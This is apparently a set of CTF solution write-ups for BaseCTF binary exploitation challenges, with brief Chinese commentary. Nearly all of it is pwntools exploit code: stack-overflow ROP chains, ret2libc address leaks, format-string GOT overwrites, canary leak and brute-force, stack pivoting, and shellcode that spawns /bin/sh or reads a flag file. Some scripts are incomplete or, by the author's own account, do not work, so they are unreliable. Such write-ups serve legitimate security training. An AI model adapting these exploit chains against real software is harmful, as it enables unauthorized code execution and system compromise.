[Week1] Ret2text
exp
from pwn import *
context(os='linux',arch = 'amd64',log_level = 'debug')
io = remote("challenge.basectf.fun",32537)
#io = process("./Ret2text")
ret_addr = 0x04011A3
payload = (0x20+0x8) * b'a' + p64(ret_addr) + p64(0x4011A4)
io.sendline(payload)
#io.recv()
io.interactive()
[Week1] shellcode_level0
from pwn import *
context.arch='amd64'
io = process("./shellcode")
io = remote("challenge.basectf.fun",38518)
shellcode = asm(shellcraft.sh())
io.recv()
io.sendline(shellcode)
io.interactive()
[Week1] 彻底失去她
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = process("./pwn")
io = remote("challenge.basectf.fun",28703)
elf = ELF("./pwn")
sys = elf.plt['system']
read = elf.plt['read']
pop_rdi = 0x0401196
pop_rsi = 0x0004011ad
pop_rdx = 0x0401265
ret = 0x0040101a
io.recvuntil("could you tell me your name?\n")
payload = (0xa+8)*b'a' + p64(ret) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x04040A0) + p64(pop_rdx) + p64(0x100) + p64(read) + p64(ret) + p64(pop_rdi) + p64(0x04040A0) + p64(sys)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()
[Week1] 我把她丢了
from pwn import *
io = process("./diu")
io = remote("challenge.basectf.fun",43897)
elf = ELF("./diu")
sys = elf.plt['system']
pop = 0x0401196
bin_sh = 0x000402008
ret_addr = 0x00040101a
io.recvuntil("I lost her, what should I do? Help me find her.")
payload = (0x70 + 0x8 )*b'a' +p64(ret_addr)+ p64(pop) + p64(bin_sh) + p64(sys)
io.sendline(payload)
io.interactive()
[Week2] format_string_level0
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = process("./vuln")
io = remote("challenge.basectf.fun",23855)
io.sendline("AAAA-%8$s")
io.recv()
[Week2] format_string_level1
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = process("./vuln")
io = remote("challenge.basectf.fun",21378)
payload = fmtstr_payload(6,{0x0004040B0:0x1})
print(payload)
io.sendline(payload)
print(io.recv())
[Week2] gift
from pwn import *
io = process("./gift")
io = remote("challenge.basectf.fun",43283)
pop_rax_rdx_rbx = 0x000047f2ea
context(os='linux',arch='amd64',log_level='debug')
pop_rdi = 0x000401f2f
pop_rsi = 0x0409f9e
bss = 0x000004C72C0
ret = 0x0040101a
gets = 0x00040C270
io.recvuntil("quite the same")
payload = b'a'*(0x20+8) + p64(ret) + p64(pop_rdi) + p64(bss) + p64(gets) + p64(ret) + p64(pop_rax_rdx_rbx) + p64(0x3b) + p64(0) + p64(0) + p64(pop_rsi) + p64(0) + p64(pop_rdi) + p64(bss) + p64(0x000401ce4)
io.sendline(payload)
sleep(1)
io.sendline(b"/bin/sh\x00")
io.interactive()
[Week2] shellcode_level1
from pwn import *
from Crypto.Util.number import *
context.arch='amd64'
context(os='linux',arch='amd64',log_level='debug')
io = process("./pwn")
elf = ELF('./pwn')
io.sendline(b'\xb4\x10')
bss = 0x00004010
shellcode = asm()
io.sendline()
[Week2] 她与你皆失
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = process("./pwn")
io = remote("challenge.basectf.fun",20729)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x401090
ret_addr = 0x0040101a
pop_rdi = 0x00401176
io.recvuntil("what should I do?\n")
payload1 = (0xa+8)*b'a' + p64(ret_addr) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendline(payload1)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(puts_addr)
base = puts_addr - libc.sym['puts']
sys = base + libc.sym['system']
bin_sh = base + next(libc.search('/bin/sh'))
io.recvuntil("what should I do?\n")
payload2 = (0xa+8)*b'a' + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh) + p64(sys)
io.sendline(payload2)
io.interactive()
[Week3] format_string_level2
from pwn import *
from LibcSearcher import *
from Crypto.Util.number import *
#io = process("./fmt2")
io = remote("challenge.basectf.fun",44422)
elf = ELF("./fmt2")
libc = ELF("./libc.so.6")
context.arch='amd64'
context.log_level = 'debug'
all_logs = []
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
read_got = elf.got['read']
success(hex(read_got))
payload = b'bbbb%7$s' + p64(read_got)
io.sendline(payload)
io.recvuntil('bbbb')
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
success(hex(read_addr))
printf_got = elf.got['printf']
base = read_addr - libc.sym['read']
system = base + libc.sym['system']
success(hex(system))
payload = fmtstr_payload(6,{printf_got:system})
print(payload)
io.sendline(payload)
#debug()
io.recv()
io.sendline(b'/bin/sh')
io.interactive()
[Week3] 你为什么不让我溢出
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
all_logs = []
io = process("./pwn")
io = remote("challenge.basectf.fun",47479)
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
io.recvuntil('Hello Hacker!\n')
#debug()
payload = b'a'*104
io.sendline(payload)
#debug()
io.recvline()
can = u64(io.recv(7).ljust(8,b'\x00'))
success(hex(can<<8))
sys_addr = 0x4011B6
payload = b'a'*104 + p64(can<<8) + b'a'*8 +p64(0x0040101a)+p64(sys_addr)
io.sendline(payload)
#debug()
io.recv()
io.interactive()
stack_in_stack
栈迁移
from pwn import *
p = process('./attachment')
#p = remote('challenge.basectf.fun', 37529)
elf = ELF('./attachment')
lib = elf.libc
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
print(hex(stack))
payload = p64(0x4011C6) + p64(0x4010E0)
payload = payload.ljust(0x30, b'A') + p64(stack - 0x8) + p64(0x4012F2)
p.send(payload)
p.recvuntil(b'0x')
lib.address = int(p.recv(12), 16) - lib.symbols['puts']
print(hex(lib.address))
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
print(hex(stack))
pop_rdi = 0x000000000002a3e5 + lib.address
binsh = next(lib.search(b'/bin/sh'))
system = lib.symbols['system']
payload = p64(pop_rdi) + p64(binsh) + p64(system)
payload = payload.ljust(0x30, b'A') + p64(stack - 0x8) + p64(0x4012F2)
p.send(payload)
p.interactive()
PIE
0x7ffff7c29d10 <__libc_start_call_main>: push rax
0x7ffff7c29d11 <__libc_start_call_main+1>: pop rax
0x7ffff7c29d12 <__libc_start_call_main+2>: sub rsp,0x98
0x7ffff7c29d19 <__libc_start_call_main+9>: mov QWORD PTR [rsp+0x8],rdi
0x7ffff7c29d1e <__libc_start_call_main+14>: lea rdi,[rsp+0x20]
0x7ffff7c29d23 <__libc_start_call_main+19>: mov DWORD PTR [rsp+0x14],esi
0x7ffff7c29d27 <__libc_start_call_main+23>: mov QWORD PTR [rsp+0x18],rdx
0x7ffff7c29d2c <__libc_start_call_main+28>: mov rax,QWORD PTR fs:0x28
0x7ffff7c29d35 <__libc_start_call_main+37>: mov QWORD PTR [rsp+0x88],rax
0x7ffff7c29d3d <__libc_start_call_main+45>: xor eax,eax
0x7ffff7c29d3f <__libc_start_call_main+47>: call 0x7ffff7c421e0 <_setjmp>
0x7ffff7c29d44 <__libc_start_call_main+52>: endbr64
0x7ffff7c29d48 <__libc_start_call_main+56>: test eax,eax
0x7ffff7c29d4a <__libc_start_call_main+58>: jne 0x7ffff7c29d97 <__libc_start_call_main+135>
0x7ffff7c29d4c <__libc_start_call_main+60>: mov rax,QWORD PTR fs:0x300
0x7ffff7c29d55 <__libc_start_call_main+69>: mov QWORD PTR [rsp+0x68],rax
0x7ffff7c29d5a <__libc_start_call_main+74>: mov rax,QWORD PTR fs:0x2f8
0x7ffff7c29d63 <__libc_start_call_main+83>: mov QWORD PTR [rsp+0x70],rax
0x7ffff7c29d68 <__libc_start_call_main+88>: lea rax,[rsp+0x20]
0x7ffff7c29d6d <__libc_start_call_main+93>: mov QWORD PTR fs:0x300,rax
0x7ffff7c29d76 <__libc_start_call_main+102>: mov rax,QWORD PTR [rip+0x1f023b] # 0x7ffff7e19fb8
0x7ffff7c29d7d <__libc_start_call_main+109>: mov edi,DWORD PTR [rsp+0x14]
0x7ffff7c29d81 <__libc_start_call_main+113>: mov rsi,QWORD PTR [rsp+0x18]
0x7ffff7c29d86 <__libc_start_call_main+118>: mov rdx,QWORD PTR [rax]
0x7ffff7c29d89 <__libc_start_call_main+121>: mov rax,QWORD PTR [rsp+0x8]
0x7ffff7c29d8e <__libc_start_call_main+126>: call rax
0x7ffff7c29d90 <__libc_start_call_main+128>: mov edi,eax
0x7ffff7c29d92 <__libc_start_call_main+130>: call 0x7ffff7c455f0 <__GI_exit>
0x7ffff7c29d97 <__libc_start_call_main+135>: call 0x7ffff7c915f0 <__GI___nptl_deallocate_tsd>
0x7ffff7c29d9c <__libc_start_call_main+140>: lock dec DWORD PTR [rip+0x1f0505] # 0x7ffff7e1a2a8 <__nptl_nthreads>
0x7ffff7c29da3 <__libc_start_call_main+147>: sete al
0x7ffff7c29da6 <__libc_start_call_main+150>: test al,al
0x7ffff7c29da8 <__libc_start_call_main+152>: jne 0x7ffff7c29db8 <__libc_start_call_main+168>
0x7ffff7c29daa <__libc_start_call_main+154>: mov edx,0x3c
0x7ffff7c29daf <__libc_start_call_main+159>: nop
0x7ffff7c29db0 <__libc_start_call_main+160>: xor edi,edi
0x7ffff7c29db2 <__libc_start_call_main+162>: mov eax,edx
0x7ffff7c29db4 <__libc_start_call_main+164>: syscall
0x7ffff7c29db6 <__libc_start_call_main+166>: jmp 0x7ffff7c29db0 <__libc_start_call_main+160>
0x7ffff7c29db8 <__libc_start_call_main+168>: xor edi,edi
0x7ffff7c29dba <__libc_start_call_main+170>: jmp 0x7ffff7c29d92 <__libc_start_call_main+130>
0x7ffff7c29dbc: nop DWORD PTR [rax+0x0]
0x7ffff7c29dc0 <__libc_start_main_impl>: endbr64
0x7ffff7c29dc4 <__libc_start_main_impl+4>: push r15
0x7ffff7c29dc6 <__libc_start_main_impl+6>: mov r15,rcx
0x7ffff7c29dc9 <__libc_start_main_impl+9>: push r14
0x7ffff7c29dcb <__libc_start_main_impl+11>: push r13
0x7ffff7c29dcd <__libc_start_main_impl+13>: mov r13,rdi
0x7ffff7c29dd0 <__libc_start_main_impl+16>: push r12
0x7ffff7c29dd2 <__libc_start_main_impl+18>: mov r12,rdx
看一下汇编，我们可以篡改到0x7ffff7c29d89的地址，可以再次执行main函数，多次溢出，泄露并再次溢出
from pwn import *
p = process('./vuln')
#p = remote('challenge.basectf.fun', 44780)
elf = ELF('./vuln')
lib = elf.libc
pay = b'a' * 0x100 + b'b' * 8 + p8(0x89)
p.send(pay)
p.recvuntil(b'b' * 8)
lib.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x29d89
print(hex(lib.address))
pop_rdi = 0x000000000002a3e5 + lib.address
binsh = next(lib.search(b'/bin/sh'))
system = lib.symbols['system']
pay = cyclic(0x108) + p64(pop_rdi) + p64(binsh) + p64(pop_rdi + 1) + p64(system)
p.send(pay)
p.interactive()
orz
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#io = process("./pwn1")
io = remote("challenge.basectf.fun",40281)
#io.recvuntil("shellcode:\n")
shellcode = asm('''
mov rax,0x67616c662f2e
push rax
xor rdi,rdi
sub rdi,100
mov rsi,rsp
xor edx,edx
xor r10,r10
push SYS_openat
pop rax
syscall
mov rdi,1
mov rsi,3
push 0
mov rdx,rsp
mov r10,0x100
push SYS_sendfile
pop rax
syscall
''')
io.sendline(shellcode)
io.interactive()
format_string_level3
查看canary机制
.text:0000000000401291 jz short locret_401298
.text:0000000000401293 call ___stack_chk_fail
检测到篡改以后，就调用这个函数，我们可以进行篡改，最终多次调用
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
all_logs = []
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
#io = process("./vuln")
io = remote("challenge.basectf.fun",36565)
elf = ELF("./vuln")
main_addr = 0x04010D0
check_got = elf.got['__stack_chk_fail']
puts_got = elf.got['puts']
printf_got = elf.got['printf']
success(check_got)
io.recvuntil(b'-----\n')
payload = fmtstr_payload(6,{check_got:main_addr}).ljust(0x110,b'\x00')
io.send(payload)
io.recvuntil(b'-----\n')
payload = b'%7$sbbbb'+p64(puts_got)
payload = payload.ljust(0x110,b'a')
success(payload)
io.send(payload)
#debug()
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success(puts_addr)
libc = ELF("./libc.so.6")
base = puts_addr - libc.sym['puts']
sys = base + libc.sym['system']
io.recvuntil(b'-----\n')
payload = fmtstr_payload(6,{printf_got:sys}).ljust(0x110,b'\x00')
io.send(payload)
io.recvuntil(b'-----\n')
io.sendline(b'/bin/sh')
io.interactive()
没有canary我要死了
我真死了，就是爆破canary和pie，但是我一直出不来，代码给出
from pwn import *
import ctypes
lib = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
context.arch='amd64'
#context.log_level = 'debug'
#io = remote("challenge.basectf.fun",38162)
io = process("./pwn")
canary = '\x00'
for k in range(7):
for i in range(256):
v5 = lib.rand() % 50;
io.sendlineafter(b'BaseCTF',str(v5))
print ("the " + str(k) + ": " + chr(i))
io.recvuntil("welcome\n")
io.send('a'*104 + canary + chr(i))
a = io.recvline()
print( a)
if b"smashing" not in a:
canary += chr(i)
print ("canary: " + canary)
break
backdoor = 0x02A9
canary = u64(canary)
for i in range(16):
num = i << 12
v5 = lib.rand() % 50;
io.sendline(str(v5))
#io.recvuntil(b'welcome\n')
io.send(b'a'*104+p64(canary)+b'a'*8+p16(backdoor+num))
a = io.recvline()
if b'welcome' in a:
continue
else:
break
io.interactive()
ezstack
发现一个不得了的地方
.text:0000000000400658 add [rbp-3Dh], ebx
.text:000000000040065B nop
.text:000000000040065C retn
//它会将rbp-0x3d位置的值加上ebx的值，能否利用来修改任意地址数据
.text:00000000004006E6 loc_4006E6: ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004006E6 add rsp, 8
.text:00000000004006EA pop rbx
.text:00000000004006EB pop rbp
.text:00000000004006EC pop r12
.text:00000000004006EE pop r13
.text:00000000004006F0 pop r14
.text:00000000004006F2 pop r15
.text:00000000004006F4 retn
完全可以利用，来修改这两个寄存器
看setvbuf到system的距离，将setvbuf的got表篡改为system
>>> from pwn import *
>>> libc = ELF("./libc.so.6")
[*] '/home/gery5sa/桌面/pwn/basectf/ezstack/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
>>> hex(libc.sym['setvbuf']-libc.sym['system'])
'0x31e80'
>>>
/bin/sh直接利用gets读入即可
from pwn import *
context.arch='amd64'
context.log_level = 'debug'
all_logs = []
def debug(params=''):
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(io)[0]
gdb.attach(pid, params)
pause()
io = process("./pwn")
#io = remote("gz.imxbt.cn",20607)
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
rdi = 0x0004006f3
gadget1 = 0x0004006EA
magic = 0x0400658
offset = -0x30880
offset = offset & 0xffffffffffffffff
setvbuf_got = elf.got['setvbuf']
setvbuf_plt = elf.plt['setvbuf']
gets_plt = elf.plt['gets']
bss_addr = 0x0601080
ret = 0x04004d6
payload = b'a'*0x10 +p64(gadget1) + p64(offset) + p64(setvbuf_got+0x3d) + p64(0)*4 + p64(magic)
payload += p64(rdi) + p64(bss_addr) + p64(gets_plt)
payload += p64(rdi) + p64(bss_addr) + p64(setvbuf_plt)
io.sendline(payload)
#debug()
io.sendline(b'/bin/sh\x00')
io.interactive()